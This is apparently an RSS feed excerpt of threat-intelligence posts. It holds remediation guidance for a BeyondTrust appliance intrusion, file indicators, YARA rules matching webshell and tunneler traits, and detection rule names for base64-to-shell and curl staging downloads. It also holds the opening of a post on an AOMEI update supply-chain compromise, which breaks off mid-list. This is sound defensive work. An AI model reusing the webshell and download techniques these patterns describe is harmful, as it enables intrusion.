&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;If the patch is not visible in &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, open a case with BeyondTrust Support referencing BT26-05.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Option 2: Isolate Compromised or Suspected Appliances&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Preserve before acting&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Isolate at the perimeter&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Block inbound traffic to the appliance's public address at the firewall rather than in &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, so the configuration remains intact for review.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Restrict egress&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Terminate access paths&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. Disable rather than delete so the audit trail survives.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Rebuild rather than clean&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Note&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Option 3: Apply Targeted Compensating Controls&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Part A: Network Restrictions&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Restrict access to the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; administrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Part B: Credential Rotation and Configuration Review&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Revoke sessions and enrollments&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Rotate credentials in dependency order&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; administrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Review the &lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;/login&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt; configuration against a pre-window baseline&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Review support session reports&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Note&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Part C: Control Plane Restrictions&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Require SAML single sign-on with phishing-resistant MFA for all &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; users, and remove local accounts except one vaulted break-glass account with alerting on use.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Ensure the built-in Admin account is configured with Multi-Factor Authentication (MFA) in accordance with the official &lt;/span&gt;&lt;a href="https://docs.beyondtrust.com/rs/docs/two-factor-authentication#activate-two-factor-authentication" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BeyondTrust Two-Factor Authentication Guidelines&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Set the default Jump Item role in every group policy to No Access, and grant roles through policy rather than per user.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Scope API accounts to the minimum permission set, with a named automation owner for any account holding user or Jump Item management rights, and rotate API secrets on a schedule.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Keep privileged credentials in Password Safe or an external vault with credential injection rather than in the Remote Support Vault, and store only non-interactive service account credentials on the appliance.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Apply default-deny outbound filtering from the appliance, allowing only BeyondTrust endpoints and the organization's own syslog and directory servers.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Part D: Logging and Detection Engineering&lt;/span&gt;&lt;/h4&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Logging and Visibility&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Forward appliance syslog to a SIEM over TLS with retention that covers a multi-month exposure window, and collect reverse-proxy or WAF and perimeter firewall logs for the appliance's address.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Export &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; session, team activity, and user audit reports on a schedule.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Detection Engineering&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Account and policy changes&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;user_changed&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; events that raise a Jump Item or team role; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;user_added&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;api_account&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;security_provider&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; events with no change ticket; any change to outbound events or syslog destinations.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Authentication&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; success from residential-broadband or commercial-VPN address space, and administrative logins outside business hours.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Session activity&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: file-transfer events, and sessions started by accounts whose roles changed during the window.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Request paths&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: at the reverse proxy or WAF, paths outside the known Remote Support path set, including unknown .php paths and WebSocket upgrades from outside support staff and endpoint address ranges.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Anti-forensics:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; gaps in syslog forwarding from the appliance; an interruption bounded by a single session is a strong indicator of log tampering.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Indicators of Compromise (IOCs)&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a &lt;a href="https://www.virustotal.com/gui/collection/5c2e5eb0854b09aeed397d6317adc47edd42651caced21cbb606ac56fc25cb4d/iocs" rel="noopener" target="_blank"&gt;GTI Collection&lt;/a&gt; for registered users.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;File Indicators&lt;/span&gt;&lt;/h4&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Filename&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Description&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SHA-256&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;app_84304470%2Ephp&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Staging Webshell&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;N/A&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;mangoapi.php&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY Webshell&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ingredi_ws&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BARECLAW Tunneler&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Detections&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;YARA Rules&lt;/span&gt;&lt;/h4&gt;
&lt;pre class="language-markup"&gt;&lt;code&gt;rule G_Hunting_Webshell_SAWFLY_1 {
  meta:
author = "Google Threat Intelligence Group"    
  strings:
    $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
    $rc4 = "range(0,255)" ascii wide
    $pack = "pack('H*'," ascii wide
    $eval = "@eval(" ascii wide
    $code404 = "http_response_code(404)" ascii wide
  condition:
    filesize &amp;lt; 20KB and
    all of them
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;rule G_Hunting_Backdoor_BARECLAW_1 {
  meta:
    author = "Google Threat Intelligence Group"

  strings:
    $s1 = "[%s ws_socks5d] " ascii wide
    $s2 = "--obfs requires --token" ascii wide
    $s3 = "mux: %s (frame[%lu]: %s)" ascii wide
    $s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
    $s5 = "reject: bad or missing token from %s" ascii wide
    $s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
    $s7 = "--ws-path must start with '/'" ascii wide
    $b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
  condition:
    uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Google Security Operations (SecOps)&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting, Mandiant Frontline Threats, and Mandiant Intel Emerging Threats rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Echo Pipes Base64 To Shell&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Base64 Encoded Shell Command Execution&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Low Severity Endpoint Detection Cluster on Host&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Suspicious Curl Download to tmp&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Suspicious Curl Network Connection to Staging Directory&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Acknowledgements&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We appreciate BeyondTrust for their collaboration against this threat.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 14:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</guid><category>Threat Intelligence</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>ARMORY CASTLE Exploits BeyondTrust</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Threat Intelligence Group </name><title></title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Mandiant </name><title></title><department></department><company></company></author></item><item><title>Investigating Ephemeral Supply Chain Tampering</title><link>https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Written by: &lt;span style="vertical-align: baseline;"&gt;Tyler McLellan&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Introduction&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.  &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. &lt;span style="vertical-align: baseline;"&gt;METAL’s analysis of this campaign is &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;available&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; in their &lt;/span&gt;&lt;a href="https://www.manageengine.com/threat-analysis-lab/aomei-backupper-supply-chain-compromise.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;How AOMEI Update and Notification Systems Work&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Backupper.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;ABNotify.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_AOMEI_Update_Mechanism.max-1000x1000.png"
        
          alt="AOMEI Update Mechanism"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="sycjh"&gt;Figure 1: AOMEI Update Mechanism&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Update Configuration&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;down_html.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;): The software periodically sends an HTTPS request to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;https://www2.aomeisoftware.com/download/abpopup/down_html.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should download &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
